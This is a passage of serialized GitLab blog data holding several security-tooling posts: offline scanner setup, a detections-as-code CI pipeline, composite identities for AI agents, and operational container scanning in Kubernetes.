sha256:16d88433af618f0b405945031de39fe40b3e8ef1bddb91ca036de0f5b32399d7\nDeleted: sha256:1bb06f72f06810e95a70039e797481736e492201f51a03b02d27db055248ab6f\nDeleted: sha256:a5ef2325ce4be9b39993ce301f8ed7aad1c854d7ee66f26a56a96967c6606510\nDeleted: sha256:f7cdac818a36d6c023763b76a6589c0db7609ca883306af4f38b819e62f29471\nDeleted: sha256:5eabf4d47287dee9887b9692d55c8b5f848b50b3b7248f67913036014e74a0e9\nDeleted: sha256:51b7cb600604c0737356f17bc02c22bac3a63697f0bf95ba7bacb5b421fdb7da\nDeleted: sha256:1546193b011d192aa769a15d3fdd55eb4e187f201f5ff7506243abb02525dc06\nDeleted: sha256:1ea72408d0484c3059cc0008539e6f494dc829caa1a97d156795687d42d9cb57\nDeleted: sha256:1313ee9da7716d85f63cfdd1129f715e9bbb6c9c0306e4708ee73672b3e40f26\nDeleted: sha256:954ebfd83406f0dfed93eb5157ba841af5426aa95d4054174fff45095fd873a1\n\n$ docker image rmi 0235ed43fc7f -f\nUntagged: registry.gitlab.com/security-products/secrets:6\nDeleted: sha256:0235ed43fc7fb2852c76e2d6196601968ae0375c72a517bef714cd712600f894\nDeleted: sha256:f05f85850cf4fac79e279d93afb6645c026de0223d07b396fce86c2f76096c1f\nDeleted: sha256:7432b0766b885144990edd3166fbabed081be71d28d186f4d525e52729f06b1f\nDeleted: sha256:2c6e3361c2ee2f43bd75fb9c7c12d981ce06df2d51a134965fa47754760efff0\nDeleted: sha256:7ad7f7245b45fbe758ebd5788e0ba268a56829715527a9a4bc51708c21af1c7f\nDeleted: sha256:3b73a621115a59564979f41552181dce07f3baa17e27428f7fff2155042a1901\nDeleted: sha256:78648c2606a7c4c76885806ed976b13e4d008940bd3d7a18b52948a6be71b60d\nDeleted: sha256:383d4a6dc5be9914878700809b4a3925379c80ab792dfe9e79d14b0c1d6b5fad\n```\n\nThen I'll rerun the job to show the failure:\n\n![GitLab Runner without internet access fails to pull an image from internal registry cache](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099328/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099328580.png)\n\n\u003Ccenter>\u003Ci>GitLab Runner without internet access fails to pull an image from internal registry cache\u003C/i>\u003C/center>\n\n#### SCP file to GitLab instance\n\nNow, from my local machine, I will SCP the file to my GitLab instance as follows:\n\n```bash\n$ gcloud compute scp secret-detection.tar INSTANCE:~ --zone=ZONE\nsecret-detection.tar                                                          100%   81MB  21.5MB/s   00:03\n```\n\n### Load transferred images into offline container registry\n\nNext, I'll SSH into my VM and load the Docker image:\n\n```bash\n$ gcloud compute ssh INSTANCE --zone=ZONE\n\n$ sudo docker load -i secret-detection.tar\nc3c8e454c212: Loading layer [==================================================>]  2.521MB/2.521MB\n51e93afaeedc: Loading layer [==================================================>]  32.55MB/32.55MB\ne8a25e39bb30: Loading layer [==================================================>]  221.2kB/221.2kB\n390704968493: Loading layer [==================================================>]  225.8kB/225.8kB\n76cf57e75f63: Loading layer [==================================================>]  17.64MB/17.64MB\nc4c7a681fd10: Loading layer [==================================================>]  4.608kB/4.608kB\nf0690f406157: Loading layer [==================================================>]  24.01MB/24.01MB\nLoaded image: registry.gitlab.com/security-products/secrets:6\n```\n\n### Run the scanners\n\nI'll [re-run the pipeline manually](https://docs.gitlab.com/ee/ci/pipelines/#run-a-pipeline-manually) and the scanner will be pulled from the cache. Once the pipeline completes, we can see the secret detection job is successful:\n\n![GitLab Runner without internet access successfully pulling from internal registry cache after image loaded](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099328/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750099328581.png)\n\n\u003Ccenter>\u003Ci>GitLab Runner without internet access successfully pulling from internal registry cache after image loaded\u003C/center>\u003C/i>\n\nIf you want to pull the image from a different location or you tag your images in a different way, you can edit the config as follows:\n\n```yaml\ninclude:\n  - template: Jobs/Secret-Detection.gitlab-ci.yml\n\nvariables:\n  SECURE_ANALYZERS_PREFIX: \"localhost:5000/analyzers\"\n```\n\nSee the [offline environments documentation](https://docs.gitlab.com/ee/user/application_security/offline_deployments/) for more information.\n\n### View scanner results\n\nOnce the scanner completes on the default branch, a vulnerability report is populated with all the findings. The vulnerability report provides information about vulnerabilities from scans of the default branch.\n\nYou can access the vulnerability report by navigating to the side tab and selecting **Secure > Vulnerability Report**:\n\n![GitLab Vulnerability Report with secret detection findings](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099328/Blog/Content%20Images/Blog/Content%20Images/vulnerability_report_aHR0cHM6_1750099328581.png)\n\n\u003Ccenter>\u003Ci>GitLab Vulnerability Report with secret detection findings\u003C/i>\u003C/center>\n\n\u003Cbr>\u003C/br>\n\nThe project’s vulnerability report provides:\n- totals of vulnerabilities per severity level\n- filters for common vulnerability attributes\n- details of each vulnerability, presented in tabular layout\n- a timestamp showing when it was updated, including a link to the latest pipeline\n\nWe can see that two vulnerabilities were detected by the Secret Detection scanner. If we click on a vulnerability, we will be transported to its vulnerability page:\n\n![GitLab Vulnerability Page showing detailed insights](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099329/Blog/Content%20Images/Blog/Content%20Images/insights_aHR0cHM6_1750099328582.png)\n\n\u003Ccenter>\u003Ci>GitLab Vulnerability Page showing detailed insights\u003C/center>\u003C/i>\n\n\u003Cbr>\u003C/br>\n\nThe vulnerability page provides details of the vulnerability, which can be used to triage and find a path to remediation. These vulnerability details include:\n- description\n- when it was detected\n- current status\n- available actions\n- linked issues\n- actions log\n- filename and line number of the vulnerability (if available)\n- severity\n\n## Read more\n\nTo learn more about GitLab and running security scanners in air-gapped environments, check out the following resources:\n\n* [GitLab Ultimate](https://about.gitlab.com/pricing/ultimate/)  \n* [GitLab Security and Compliance Solutions](https://about.gitlab.com/solutions/security-compliance/)  \n* [GitLab Offline Deployments Documentation](https://docs.gitlab.com/ee/user/application_security/offline_deployments/)  \n* [GitLab Application Security Documentation](https://docs.gitlab.com/ee/user/application_security/)\n",[696,14,184,479,715],{"slug":1079,"featured":92,"template":677},"tutorial-security-scanning-in-air-gapped-environments","content:en-us:blog:tutorial-security-scanning-in-air-gapped-environments.yml","Tutorial Security Scanning In Air Gapped Environments","en-us/blog/tutorial-security-scanning-in-air-gapped-environments.yml","en-us/blog/tutorial-security-scanning-in-air-gapped-environments",{"_path":1085,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1086,"content":1091,"config":1096,"_id":1098,"_type":16,"title":1099,"_source":17,"_file":1100,"_stem":1101,"_extension":20},"/en-us/blog/automating-cybersecurity-threat-detections-with-gitlab-ci-cd",{"title":1087,"description":1088,"ogTitle":1087,"ogDescription":1088,"noIndex":6,"ogImage":989,"ogUrl":1089,"ogSiteName":767,"ogType":768,"canonicalUrls":1089,"schema":1090},"Automating cybersecurity threat detections with GitLab CI/CD","Discover how GUARD automates cybersecurity threat detections through the use of GitLab CI/CD and how it ensures high-quality detections.","https://about.gitlab.com/blog/automating-cybersecurity-threat-detections-with-gitlab-ci-cd","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Automating cybersecurity threat detections with GitLab CI/CD\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mitra Jozenazemian\"}],\n        \"datePublished\": \"2025-01-29\",\n      }",{"title":1087,"description":1088,"authors":1092,"heroImage":989,"date":1093,"body":1094,"category":14,"tags":1095},[836],"2025-01-29","*This blog post is the second post in a series about [GitLab Universal Automated Response and Detection (GUARD)](https://about.gitlab.com/blog/unveiling-the-guard-framework-to-automate-security-detections-at-gitlab/).*\n\nWriting and deploying security threat detections in an organization’s security information event management platform (SIEM) is a critical component of a successful cybersecurity program. Moving from manual detection engineering to a fully automated process by implementing Detections as Code (DaC) ensures detection consistency, quality, auditing, and automated testing. At GitLab, we’ve embedded DaC capabilities into GUARD, our fully automated detection and response framework. \n\n## The problem: Source control and automated tests\n\nThe [Signals Engineering](https://handbook.gitlab.com/handbook/security/security-operations/signals-engineering/) and [SIRT](https://handbook.gitlab.com/handbook/security/security-operations/sirt/) team at GitLab share the responsibility to create, update, and decommission threat detections in our SIEM. Maintaining a single source of truth for detections is critical to ensure detection consistency and quality standards are met. Our teams made the conscious decision to abstract the detection creation process from our SIEM, improving our issue tracking, consistency, roll-back process, and metrics. Additionally, conducting pre-commit detection tests outside of our SIEM ensured that newly created detections didn’t introduce overly false positive heavy alerts, which would require tuning or disablement while the alert was fixed. \n\n## The Solution: Leverage GitLab CI/CD for detection testing and validation\n\nTo address these challenges, we developed an efficient workflow using GitLab [CI/CD](https://about.gitlab.com/topics/ci-cd/), resulting in a streamlined and secure SIEM detection deployment process.\n\n### Key components of the GUARD DaC pipeline \n\n__1. Detections stored in JSON format in a GitLab project__\n\nGitLab uses the JSON format for our threat detections. The template includes essential information such as SIEM query logic, detection title, and description along with runbook page link, MITRE tactic and technique related to the detection, and other necessary details.\n\n__2. Initiating merge requests__\n\nWhen a GitLab team member intends to create a new threat detection, update an existing one, or delete a current detection, they initiate the process by submitting a merge request (MR) in the DaC project containing the detection JSON template. Creating the MR automatically triggers a CI/CD pipeline.\n\n__3. Automated validation with CI/CD jobs__\n\nEach MR contains a number of automated checks via GitLab CI/CD:   \n* Query format validation queries SIEM API to ensure detection query is valid  \n* JSON Detection fields validation validates all required fields are present, and are in the correct format   \n* New detections and detection modification trigger a number of SIEM API calls to ensure the detection does not have any errors and that no issues will be introduced into our production detection rules   \n* Detection deletion MRs trigger the pipeline to issue a SIEM API query to ensure the detection to be deleted is still active and can be deleted \n\n__4. Peer review and approval__\n\nWhen a detection MR job completes successfully, a peer review is required to review and confirm the MR meets required quality and content standards before the detection MR can be merged. [Merge request approval rules](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html) are used to trigger the peer review process. \n\n__5. Merge and final deployment__\n\nAfter the MR is approved, it is merged into the main branch. As part of the CI/CD pipeline, an automated job executes a SIEM API command in order to perform two tasks:   \n* Create the new detection or update/delete the existing detection if needed.   \n* Extract the MITRE ATT&CK tactic and technique information related to the alert from the JSON files and transmit these details to a lookup table within the SIEM. This lookup table plays an important role in mapping our alerts to MITRE tactics and techniques, helping us improve our threat analysis and identify gaps in our detection capabilities in alignment with the MITRE framework.\n\n**Note:** The necessary credentials for these actions are securely stored in [CI/CD variables](https://docs.gitlab.com/ee/ci/variables/) to ensure the process remains confidential and secure.\n\nBelow is a template GitLab CI/CD `gitlab-ci.yml` configuration file for a DaC pipeline: \n\n```\n\n# --------------------------------------------------------------------------- #\n# GitLab CI/CD Pipeline for SIEM Detection Management\n# --------------------------------------------------------------------------- #\n\nimage: python:3.12\n\n# --------------------------------------------------------------------------- #\n# Global Configuration\n# --------------------------------------------------------------------------- #\n\nbefore_script:\n  - apt-get update && apt-get install -y jq\n  - pip install --upgrade pip\n  - pip install -r requirements.txt\n\n# --------------------------------------------------------------------------- #\n\nstages:\n  - fetch\n  - test\n  - process\n  - upload\n\n# --------------------------------------------------------------------------- #\n# Fetch Stage\n# --------------------------------------------------------------------------- #\n\nfetch_changed_files:\n  stage: fetch\n  Script:\n    - echo \"Fetching changed files...\"\n    - git branch\n    - git fetch origin $CI_DEFAULT_BRANCH:$CI_DEFAULT_BRANCH --depth 2000\n    - |\n      if [[ \"$CI_COMMIT_BRANCH\" == \"$CI_DEFAULT_BRANCH\" ]]; then\n        git diff --name-status HEAD^1...HEAD > changed-files-temp.txt\n      else\n        git fetch origin $CI_COMMIT_BRANCH:$CI_COMMIT_BRANCH --depth 2000\n        git diff --name-status ${CI_DEFAULT_BRANCH}...${CI_COMMIT_SHA} > changed-files-temp.txt\n      fi\n    - grep -E '\\.json$' changed-files-temp.txt > changed-files.txt || true\n    - flake8 .\n    - pytest\n  artifacts:\n    paths:\n      - changed-files.txt\n    expose_as: 'changed_files'\n\n# --------------------------------------------------------------------------- #\n# Test Stage\n# --------------------------------------------------------------------------- #\n\nflake8:\n  stage: test\n  script:\n    - echo \"Running Flake8 for linting...\"\n    - flake8 .\n\npytest:\n  stage: test\n  script:\n    - echo \"Running Pytest for unit tests...\"\n    - pytest\n  artifacts:\n    when: always\n    reports:\n      junit: report.xml\n\n# --------------------------------------------------------------------------- #\n# Process Stage\n# --------------------------------------------------------------------------- #\n\nprocess_files:\n  stage: process\n  script:\n    - echo \"Processing changed files...\"\n    - git clone --depth 2000 --branch $CI_DEFAULT_BRANCH $CI_REPOSITORY_URL\n    - mkdir -p modified_rules delete_file new_file\n    - python3 move-files.py -x changed-files.txt\n    - python3 check-alerts-format.py\n  artifacts:\n    paths:\n      - modified_rules\n      - delete_file\n      - new_file\n# --------------------------------------------------------------------------- #\n# Upload Stage\n# --------------------------------------------------------------------------- #\n\nupdate_rules:\n  stage: upload\n  script:\n    - echo \"Uploading updated rules and lookup tables...\"\n    - git fetch origin $CI_DEFAULT_BRANCH:$CI_DEFAULT_BRANCH --depth 2000\n    - git clone --depth 2000 --branch $CI_DEFAULT_BRANCH $CI_REPOSITORY_URL \n    - python3 update-rules.py\n    - python3 update-exceptions.py\n    - python3 create_ttps_layers.py\n  rules:\n    - if: $CI_COMMIT_BRANCH == \"main\" && $CI_PIPELINE_SOURCE != \"schedule\"\n      changes:\n        - detections/**/*\n        - exceptions/**/*\n```\n\nThe diagram below illustrates the workflow of the CI/CD process described above.\n\n```mermaid\ngraph TD;\n    fetch[Fetch Stage: Identify Changed Files] --> test[Test Stage: Run Linting and Tests];\n    test --> process[Process Stage: Categorize Files];\n    process --> upload[Upload Stage: Update Rules and Lookup Tables];\n    fetch --> fetch_details[Details: Filter JSON files, Output 'changed-files.txt'];\n    test --> test_details[Details: Run Flake8 for linting, Pytest for testing];\n    process --> process_details[Details: Categorize into 'modified', 'new', 'deleted', Prepare for upload];\n    upload --> upload_details[Details: Update repo, Update detections in SIEM and SIEM lookup table];\n```\n\n## Benefits and outcomes\n\nAutomating our detections lifecycle through a DaC CI/CD-powered workflow introduces numerous benefits to our threat detection deployment process:\n\n* Automation: Automating the creation and validation of SIEM detections reduces manual errors and saves time.\n* Enhanced security: The CI-driven workflow enforces a \"least privilege\" policy, ensuring consistency, peer reviews, and quality standards for creating, updating, or deleting threat detections. \n* Efficiency: The standardized JSON detection format and automated creation expedite the deployment process.\n* Collaboration: The MR and review process fosters collaboration and knowledge sharing among GitLab team members.\n* Version control: Treating threat detection as code abstracts the detections from the SIEM platform they are ultimately stored in. This abstraction provides a historical record of changes, facilitates collaboration, and enables rollbacks to previous configurations if issues arise.\n\n## Get started with DaC\n\nUsing GitLab CI/CD and a \"least privilege\" policy has made our SIEM detection and alert management easier and more secure. Automation has improved efficiency and reduced risks, providing a helpful example for others wanting to improve their security and compliance. You can try this tutorial by signing up for a [free 60-day trial of GitLab Ultimate](https://about.gitlab.com/free-trial/).",[14,696,776,479,110],{"slug":1097,"featured":6,"template":677},"automating-cybersecurity-threat-detections-with-gitlab-ci-cd","content:en-us:blog:automating-cybersecurity-threat-detections-with-gitlab-ci-cd.yml","Automating Cybersecurity Threat Detections With Gitlab Ci Cd","en-us/blog/automating-cybersecurity-threat-detections-with-gitlab-ci-cd.yml","en-us/blog/automating-cybersecurity-threat-detections-with-gitlab-ci-cd",{"_path":1103,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1104,"content":1110,"config":1115,"_id":1117,"_type":16,"title":1118,"_source":17,"_file":1119,"_stem":1120,"_extension":20},"/en-us/blog/improve-ai-security-in-gitlab-with-composite-identities",{"title":1105,"description":1106,"ogTitle":1105,"ogDescription":1106,"noIndex":6,"ogImage":1107,"ogUrl":1108,"ogSiteName":767,"ogType":768,"canonicalUrls":1108,"schema":1109},"Improve AI security in GitLab with composite identities","Learn how to implement AI features responsibly by applying authentication best practices with service accounts for AI agents in GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664638/Blog/Hero%20Images/applicationsecurity.png","https://about.gitlab.com/blog/improve-ai-security-in-gitlab-with-composite-identities","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Improve AI security in GitLab with composite identities\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Grzegorz Bizon\"}],\n        \"datePublished\": \"2025-01-29\",\n      }",{"title":1105,"description":1106,"authors":1111,"heroImage":1107,"date":1093,"body":1113,"category":14,"tags":1114},[1112],"Grzegorz Bizon","Artificial intelligence (AI) is quickly becoming the backbone of modern software development, fueling developer efficiency and accelerating innovation. With the emergence of AI agents implementing code based on instructions from humans, we are learning that implementing AI-based features has its own unique set of security challenges. **How do we protect access to the resources AI needs, protect confidentiality, and avoid privilege escalation**? Few organizations are ready to answer these questions today. At GitLab, we are. We are introducing a new paradigm for identity management: composite identities.\n\nWhen AI agents are integrated into your DevSecOps workflows, previously simple questions become difficult to answer: Who authored this code? Who is the author of this merge request? Who created this Git commit? We found we had to start asking new questions: Who instructed an AI agent to generate this code? What context did AI need to build this feature? What were the resources AI had to access and read to generate the answer?\n\nTo answer these questions, we need to understand some fundamental aspects of AI’s identity:\n\n* Does an AI agent have its own distinct identity?\n* What is the representation of this identity?\n* How do we make it all secure?\n\n### Authentication and AI identity management \n\nWe are at the beginning of a paradigm shift in identity management in the software delivery lifecycle. Before the AI era, identity management was simpler. We had human user-based identities and machine-type identities using separate accounts.\n\nWith the emergence of AI and agentic workflows, the distinction between these two core types of identities has blurred. AI agents are supposed to work in an autonomous way, so it makes sense to think about them as machine-type accounts. On the other hand, AI agents are usually being instructed by human users, and require access to resources the human users have access to in order to complete their tasks. This introduces significant security risks — for example, the AI may provide human users with information they should not have access to. How do we avoid privilege escalation, provide auditability, and protect confidentiality in a world with AI agents?\n\n### The solution: Composite identities\n\nA composite identity is our new identity [principal](https://cloud.google.com/iam/docs/overview#concepts_related_identity), representing an AI agent’s identity that is linked with the identity of a human user who requests actions from the agent. **This enhances our ability to protect resources stored in GitLab**. Whenever an AI agent with a composite identity attempts to access a resource, we will not only authenticate the agent itself, but also link its principal with a human user who is instructing the agent, and will try to authorize both principals before granting access to a resource. Both principals need access; otherwise, the access will be denied. If an AI agent by itself can access a project, but a human user who instructed the agent to do so cannot, GitLab will deny the access.\n\nThe inverse is true as well — if a human user can access a confidential issue, but an AI agent can’t, then its service account will not be able to read the issue. We authorize access to every API request and for each resource an agent attempts to access this way. Composite identity without a request-scoped link to a human account will not be authorized to access any resource. For fully autonomous workloads we are also considering adding support for linking composite identities with other principals.\n\n#### Composite identity and service accounts\n\nWe redesigned our authorization framework to support composite identities, allowing multiple principals to be evaluated simultaneously when determining access rights to a resource. We enhanced our security infrastructure by implementing scoped identities across our entire system — from API requests to CI jobs and backend workers. These identities are linked to an AI agent's composite identity account also through OAuth tokens and CI job tokens. This project yielded unexpected security benefits, particularly in GitLab CI, where we upgraded job tokens to signed JSON web tokens (JWTs). Additionally, we contributed code to several open source libraries to add support for scoped identities.\n\n### Composite identity with GitLab Duo with Amazon Q\n\nIn the GitLab 17.8 release, we made composite identity for service accounts support available for customers through our GitLab Duo with Amazon Q integration. Amazon Q Developer agent will have composite identity enforced, which will protect your confidential GitLab resources from unauthorized access.\n\n### What’s next?\n\nTo learn more, check out our [composite identity docs](https://docs.gitlab.com/ee/development/ai_features/composite_identity.html).",[937,776,14],{"slug":1116,"featured":6,"template":677},"improve-ai-security-in-gitlab-with-composite-identities","content:en-us:blog:improve-ai-security-in-gitlab-with-composite-identities.yml","Improve Ai Security In Gitlab With Composite Identities","en-us/blog/improve-ai-security-in-gitlab-with-composite-identities.yml","en-us/blog/improve-ai-security-in-gitlab-with-composite-identities",{"_path":1122,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1123,"content":1129,"config":1134,"_id":1136,"_type":16,"title":1137,"_source":17,"_file":1138,"_stem":1139,"_extension":20},"/en-us/blog/improve-security-auditing-with-gitlab-operational-container-scanning",{"title":1124,"description":1125,"ogTitle":1124,"ogDescription":1125,"noIndex":6,"ogImage":1126,"ogUrl":1127,"ogSiteName":767,"ogType":768,"canonicalUrls":1127,"schema":1128},"Improve security auditing with GitLab Operational Container Scanning","Learn how to conduct container vulnerability scans post-deployment to raise awareness of existing threats and to track resolution of vulnerabilities.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664654/Blog/Hero%20Images/AdobeStock_1172300481.jpg","https://about.gitlab.com/blog/improve-security-auditing-with-gitlab-operational-container-scanning","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Improve security auditing with GitLab Operational Container Scanning\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Daniel Helfand\"}],\n        \"datePublished\": \"2025-01-29\",\n      }",{"title":1124,"description":1125,"authors":1130,"heroImage":1126,"date":1093,"body":1132,"category":14,"tags":1133},[1131],"Daniel Helfand","Conducting security scans is a regular part of any software development process. Whether scanning source code (e.g., Java, Python, or other languages), configuration files (e.g., YAML files), or [container images](https://cloudnativenow.com/kubecon-cnc-na-2024/unlocking-the-full-potential-of-container-vulnerability-scans/), these scanning tools help development teams be proactive about understanding and addressing security threats. \n\nTraditionally, developers run these [security scans as part of CI/CD pipelines](https://docs.gitlab.com/ee/user/application_security/container_scanning/). By including these scans in CI/CD, every change to a project will be reviewed to see if any vulnerabilities are introduced. Understanding security concerns during development helps to assure that changes are addressed before they are deployed to a live environment, but there are many additional benefits to conducting container vulnerability scans post deployment as well.\n\n[GitLab's Operational Container Scanning](https://docs.gitlab.com/ee/user/clusters/agent/vulnerabilities.html) feature allows DevSecOps practitioners to run container vulnerability scans against containers running in a Kubernetes environment. The benefits of conducting a vulnerability scan on deployed containers include regularly scanning the images for new vulnerabilities that are discovered, tracking which environments certain vulnerabilities are deployed to, and also tracking the progress of resolving these vulnerabilities. \n\nThe scans can be configured to run on a regular cadence and on containers in specific namespaces on a Kubernetes cluster. The results of these scans are then sent back to GitLab projects to be viewed via the GitLab UI. To show exactly how the feature works, the next steps in this article will demonstrate how to apply the Operational Container Scanning feature using a GitLab project, sample application, and a Kubernetes cluster. \n\n## Prerequisites\n\nTo get started, you will need the following:   \n* [GitLab Ultimate account](https://about.gitlab.com/free-trial/)   \n* Kubernetes cluster that meets [GitLab’s Kubernetes version requirements](https://docs.gitlab.com/ee/user/clusters/agent/#supported-kubernetes-versions-for-gitlab-features)  \n* [kubectl CLI](https://kubernetes.io/docs/tasks/tools/#kubectl)\n* [helm CLI](https://helm.sh/docs/intro/install/)\n\nAdditionally, the walkthrough below will use a [GitLab project](https://gitlab.com/gitlab-da/tutorials/cloud-native/operational-container-scanning-tutorial) that can be forked into a [GitLab group](https://docs.gitlab.com/ee/user/group/) where you have appropriate permissions to carry out the steps that follow. \n\n## Deploy a sample application\n\nThe first action we will carry out is to deploy a sample application to the Kubernetes cluster you will use in this tutorial. Before running the `kubectl` command to deploy a sample application, take a moment to make sure your `KUBECONFIG` is set to the cluster you would like to use. Once you are set up to use your cluster, run the following command:\n\n```bash  \n$ kubectl apply -f\nhttps://gitlab.com/gitlab-da/tutorials/cloud-native/go-web-server/-/raw/main/manifests/go-web-server-manifests.yaml\n\nnamespace/go-web-server-dev created  \ndeployment.apps/go-web-server created  \nservice/go-web-server created  \n```\n\nWait for all the pods to be running in the `go-web-server-dev` namespace by running the command below:\n\n```bash  \n$ kubectl get pods -n go-web-server-dev -w  \n```\n\nYou should see output similar to what is shown below:\n\n```  \nNAME                            READY   STATUS    RESTARTS   AGE  \ngo-web-server-f6b8767dc-57269   1/1     Running   0          18m  \ngo-web-server-f6b8767dc-fkct2   1/1     Running   0          18m  \ngo-web-server-f6b8767dc-j4qwg   1/1     Running   0          18m  \n```\n\nOnce everything is running, you can set up your forked GitLab project to connect to your Kubernetes cluster and configure the Operational Container Scanning properties. \n\n## Connect Kubernetes cluster\n\nIn this section, you will learn how to connect a Kubernetes cluster to your GitLab project via the [GitLab Agent for Kubernetes](https://docs.gitlab.com/ee/user/clusters/agent/). By configuring and installing the agent on your Kubernetes cluster, you will be able to also configure Operational Container Scanning. \n\n### Change the id property for GitLab’s Kubernetes agent\n\nIn the forked GitLab project you are using, change the [`id` property in the config.yaml file](https://gitlab.com/gitlab-da/tutorials/cloud-native/operational-container-scanning-tutorial/-/blob/main/.gitlab/agents/k8s-agent/config.yaml?ref\\_type=heads\\#L5) to match the group where you have forked the project. By doing this, you will configure the GitLab Agent for Kubernetes to pass information about your cluster back to your GitLab project. Make sure to commit and push this change back to the main branch of the forked project.\n\n### Navigate to Kubernetes clusters page of the project\n\nIn the GitLab UI, select the **Operate > Kubernetes clusters** tab of the forked project. Click the **Connect a cluster (agent)** button. Add the name of the agent to the input box under `Option 2: Create and register an agent with the UI` and then click **Create and register**. In this case, the name of the agent is `k8s-agent` since the folder under agents with the `config.yaml` file is named `k8s-agent`. Note that this folder can have any name that follows [Kubernetes naming restrictions](https://docs.gitlab.com/ee/user/clusters/agent/install/#create-an-agent-configuration-file) and that `k8s-agent` is just being used for simplicity.\n\n### Install the GitLab Kubernetes agent\n\nAfter registering the agent, you will be asked to run a helm command shown in the GitLab UI from your command line against your Kubernetes cluster. Before running the command, make sure your `KUBECONFIG` is still connected to the same cluster where you deployed the sample application. \n\nAfter running the helm command successfully, wait for all pods to be running in the `gitlab-agent-k8s-agent` namespace on your cluster. You can wait for everything to be running using the following command: \n\n```bash  \n$ kubectl get pods -n gitlab-agent-k8s-agent -w  \n``` \n\nYou should see similar output to what is shown below:\n\n```  \nNAME                                         READY   STATUS    RESTARTS   AGE  \nk8s-agent-gitlab-agent-v2-6bb676b6bf-v4qml   1/1     Running   0          10m  \nk8s-agent-gitlab-agent-v2-6bb676b6bf-xt7xh   1/1     Running   0          10m  \n```\n\nOnce the pods are running, your GitLab project should be connected to your Kubernetes cluster and ready to use the Operational Container Scanning feature. Before proceeding, continue running the `kubectl get pods -n gitlab-agent-k8s-agent -w` command to help explain concepts in the next section.\n\n## Operational Container Scanning\n\nIn addition to the pods for the GitLab agent running in the `gitlab-agent-k8s-agent` namespace, there should eventually be another pod named `trivy-scan-go-web-server-dev`. This pod will start and run on a regular cadence and conduct a container vulnerability scan using a tool named [trivy](https://trivy.dev/latest/) against the `go-web-server-dev` namespace where the sample application deployed earlier is running. \n\nThe Operational Container Scanning properties are defined in the [`config.yaml` file](https://gitlab.com/gitlab-da/tutorials/cloud-native/operational-container-scanning-tutorial/-/blob/main/.gitlab/agents/k8s-agent/config.yaml?ref_type=heads#L6-L10) used to set up the GitLab agent for Kubernetes on your cluster. \n\nThe two main properties to define are `cadence`, which specifies how frequently to run the container vulnerability scan, and also the `namespaces` property nested under `vulnerability_report`, which defines one or more namespaces to conduct the scan on. You can see how this looks in `config.yaml` below:\n\n```yaml  \ncontainer_scanning:  \n  cadence: '*/5 * * * *'  \n  vulnerability_report:  \n    namespaces:  \n      - go-web-server-dev  \n```\n\nThe cadence follows a cron format. In this case, `*/5 * * * *` means the scan will be run every five minutes, but this can be changed to any amount of time (e.g., every 24 hours).  \n\nThe vulnerabilities revealed by the scan for containers running in the `go-web-server-dev` namespace are sent back to your GitLab project. To see the results, go to the GitLab UI and select your forked project. Select the **Secure > Vulnerability report** option for the project and then select the **Operational vulnerabilities** tab to view scan results. \n\nThe scan results will include information on the severity of the common vulnerabilities and exposures (CVEs), along with the name of the image. By using the tag of the image to include the version of the deployed software along with what environment it is deployed to, you can begin to audit what known vulnerabilities exist in your Kubernetes environments and keep track of how they are being addressed by engineering teams.\n\nWatch this demo for more information:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/2FVQec2J-Ew?si=T6kwPMnPAGwKlkfP\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Share your feedback\n\nAdding GitLab’s Operational Container Scanning to your Kubernetes environments can help development, security, and infrastructure teams have a consistent picture of container security in Kubernetes environments across an organization. In addition to GitLab’s CI container scanning capabilities and the ability to [scan containers pushed to GitLab’s container registry](https://www.youtube.com/watch?v=Zuk7Axs-CRw), GitLab has solutions at every phase of the software development lifecycle to address container security concerns.\n\nYou can share your feedback on Operational Container Scanning in this [forum post](https://forum.gitlab.com/t/operational-container-scanning-feedback/119479), which we will share with our product and engineering teams supporting this feature. You can get started with Operational Container Scanning by reading the [documentation on the feature](https://docs.gitlab.com/ee/user/clusters/agent/vulnerabilities.html) and [starting a 60-day free trial of GitLab Ultimate](https://about.gitlab.com/free-trial/).",[715,776,696,14,695],{"slug":1135,"featured":6,"template":677},"improve-security-auditing-with-gitlab-operational-container-scanning","content:en-us:blog:improve-security-auditing-with-gitlab-operational-container-scanning.yml","Improve Security Auditing With Gitlab Operational Container Scanning","en-us/blog/improve-security-auditing-with-gitlab-operational-container-scanning.yml","en-us/blog/improve-security-auditing-with-gitlab-operational-container-scanning",{"_path":1141,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1142,"content":1148,"config":1154,"_id":1156,"_type":16,"title":1157,"_source":17,"_file":1158,"_stem":1159,"_extension":20},"/en-us/blog/how-to-gitlab-single-sign-on-with-saml-scim-and-azures-entra-id",{"title":1143,"description":1144,"ogTitle":1143,"ogDescription":1144,"noIndex":6,"ogImage":1145,"ogUrl":1146,"ogSiteName":767,"ogType":768,"canonicalUrls":1146,"schema":1147},"How-to: GitLab Single Sign-on with SAML, SCIM, and Azure’s Entra ID","Follow this detailed walk-through of the configuration steps required to configure GitLab Single Sign-on, using Microsoft Azure’s Entra ID as the identity 